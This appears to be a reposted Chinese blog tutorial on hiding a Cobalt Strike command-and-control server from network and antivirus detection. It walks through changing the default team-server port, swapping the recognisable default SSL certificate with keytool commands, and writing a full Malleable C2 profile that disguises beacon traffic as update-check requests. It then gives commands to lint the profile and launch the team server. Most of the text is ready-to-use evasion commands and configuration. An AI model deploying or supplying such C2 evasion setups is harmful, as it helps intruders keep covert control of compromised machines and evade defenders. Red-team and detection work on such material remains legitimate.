码迷,mamicode.com
首页 > 其他好文 > 详细

CobaltStrike去除特征及证书修改躲避流量审查

时间:2021-03-16 11:56:26      阅读:0      评论:0      收藏:0      [点我收藏+]

标签:cert   exp   cer   入口   默认端口   很多   git   当前目录   sign   

0x01 去除特征

1. 更改默认端口

方法一: 直接编辑teamserver进行启动项修改
方法二:在启动的时候指定server_port

java -XX:ParallelGCThreads=4 -Duser.language=en -Dcobaltstrike.server_port=50505 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -Xmx1024m -classpath ./cobaltstrike.jar server.TeamServer xxx.xxx.xx.xx test google.profile

2. 去除证书特征

Keytool是一个java数据证书的管理工具,Keytool将密钥 和 证书 存放在一个称为 keystore 的文件中,即.store后缀的文件中。

keytool命令

非法选项: -h
密钥和证书管理工具

命令
-certreq 生成证书请求
-changealias 更改条目的别名
-delete 删除条目
-exportcert 导出证书
-genkeypair 生成密钥对
-genseckey 生成密钥
-gencert 根据证书请求生成证书
-importcert 导入证书或证书链
-importpass 导入口令
-importkeystore 从其他密钥库导入一个或所有条目
-keypasswd 更改条目的密钥口令
-list 列出密钥库中的条目
-printcert 打印证书内容
-printcertreq 打印证书请求的内容
-printcrl 打印 CRL 文件的内容
-storepasswd 更改密钥库的存储口令

使用 "keytool -command_name -help" 获取 command_name 的用法

查看证书文件:keytool -list -v -keystore xx.store
修改证书密码:keytool -storepasswd -keystore test.store
修改keystore的alias别名:keytool -changealias -keystore test.store -alias source_name -destalias new_name
修改alias(别名)的密码:keytool -keypasswd -keystore test.store -alias source_name

keystore

Keystore是什么?keystore是java的密钥库,用来进行通信加密,如数字签名。keystore就是用来保存密钥对的,公钥和私钥。Keystore可理解为一个数据库,可以存放很多个组数据。
每组数据主要包含以下两种数据:

  • 密钥实体 --- 密钥(secret key)又或者私钥和配对公钥(采用非对称加密)
  • 可信任的证书实体 --- 只包含公钥

查看CobaltStrike的默认store文件

keytool -list -v -keystore cobaltstrike.store

技术图片

输入默认密码123456回车,可以看见cobaltstrike默认的store文件中的Alias name、Onwer和Issuer的信息,特征比较明显

创建新的CobaltStrike.store

为了掩盖默认ssl证书存在的特征,需重新创建一个不一样的证书

keytool -keystore cobaltstrike.store -storepass 密码 -keypass 密码 -genkey -keyalg RSA -alias google.com -dname "CN=(名字与姓氏), OU=(组织单位名称), O=(组织名称), L=(城市或区域名称), ST=(州或省份名称), C=(单位的两字母国家代码)"
  • -alias 指定别名
  • -storepass pass 和 -keypass pass 指定密钥
  • -keyalg 指定算法
  • -dname 指定所有者信息

删除 CobaltStrike 自带的cobaltstrike.store,使用以下命令生成一个新的 cobaltstrike.store即可!然后客户端连接即可。

keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias baidu.com -dname "CN=(名字与姓氏), OU=(组织单位名称), O=(组织名称), L=(城市或区域名称), ST=(州或省份名称), C=(单位的两字母国家代码)" 

keytool -importkeystore -srckeystore cobaltstrike.store -destkeystore cobaltstrike.store -deststoretype pkcs12

技术图片

0x02 流量加密实现免杀

cobaltstrike自带了ssl证书,不过该证书已经被杀软标记了,所以的生成自己的免费的证书用以替代cs自带的证书,监听的时候选择https

1. 先利用keytool生成一个免费的证书

keytool -genkey -alias tryblog -keyalg RSA -validity 36500 -keystore tryblog.store

`注: 注意记得-alias后面的参数和-keystore后面的参数后面会用到C2-profile里面;在生成的时候,要记住自己的密码,后面要使用,如果忘记了,就回来重新生成。

里面的内容随意填写,问你是否正确的时候输入y,然后回车后就成功生成了。证书就在当前目录下
`

2. 然后创建一个c2.profile文件,添加以下内容

set sample_name "tryblog POS Malware";
 
set sleeptime "5000"; # use a ~30s delay between callbacks
set jitter    "10";    # throw in a 10% jitter
 
set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0";
 
#设置证书,注意以下内容得和你之前生成的证书一样
https-certificate {
    set CN       "TRY"; 
    set O        "TRY";   
    set C        "TRY";
    set L        "TRY";
    set OU       "TRY";  
    set ST       "TRY";
    set validity "365";
}
#设置,修改成你的证书名称和证书密码
code-signer{
    set keystore "tryblog.store";
    set password "tryblog";
    set alias "tryblog";
}
 
#指定DNS beacon不用的时候指定到IP地址
set dns_idle "8.8.4.4";
 
#每个单独DNS请求前强制睡眠时间
set dns_sleep "0";
 
#通过DNS上载数据时主机名的最大长度[0-255]
set maxdns    "235";
 
http-post {
    set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windowsxp/updcheck.php /hello/flash.php";
 
    client {
        header "Accept" "textain";
        header "Accept-Language" "en-us";
        header "Accept-Encoding" "textain";
        header "Content-Type" "application/x-www-form-urltrytryd";
 
        id {
            netbios;
            parameter "id";
        }
 
        output {
            base64;
            prepend "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data=";
            print;
        }
    }
 
    server {
        output {
            print;
        }
    }
}
 
http-get {
    set uri "/updates";
 
    client {
        metadata {
            netbiosu;
            prepend "user=";
            header "Cookie";
        }
    }
 
    server {
        header "Content-Type" "textain";
 
        output {
            base64;
            print;
        }
    }
}

3. 验证证书,进入cs文件夹,将刚生成的证书和创建的c2.profile文件复制进去

./c2lint C2.profile #命令后面跟你自己的c2文件

4. 使用证书启动teamserver

nohup ./teamserver 1.1.2.3 123456 ./C2.profile & #nohup就是把程序挂在后台运行

CS的流量由malleable C2配置来掌控的,所以我们需要定向去配置这个C2。
Malleable C2 是一种特定领域的语言,主要用来控制“Cobalt Strike Beacon”攻击载荷中的网络指针
malleable C2详细知识参考:
https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/

在这里可以把流量伪造成高信誉的网站,如Google、baidu等
如果不想自己生成的,可以使用如下github中的profile:
https://github.com/rsmudge/Malleable-C2-Profiles.git

CobaltStrike去除特征及证书修改躲避流量审查

标签:cert   exp   cer   入口   默认端口   很多   git   当前目录   sign   

原文地址:https://www.cnblogs.com/TheTh1nk3r/p/14530375.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!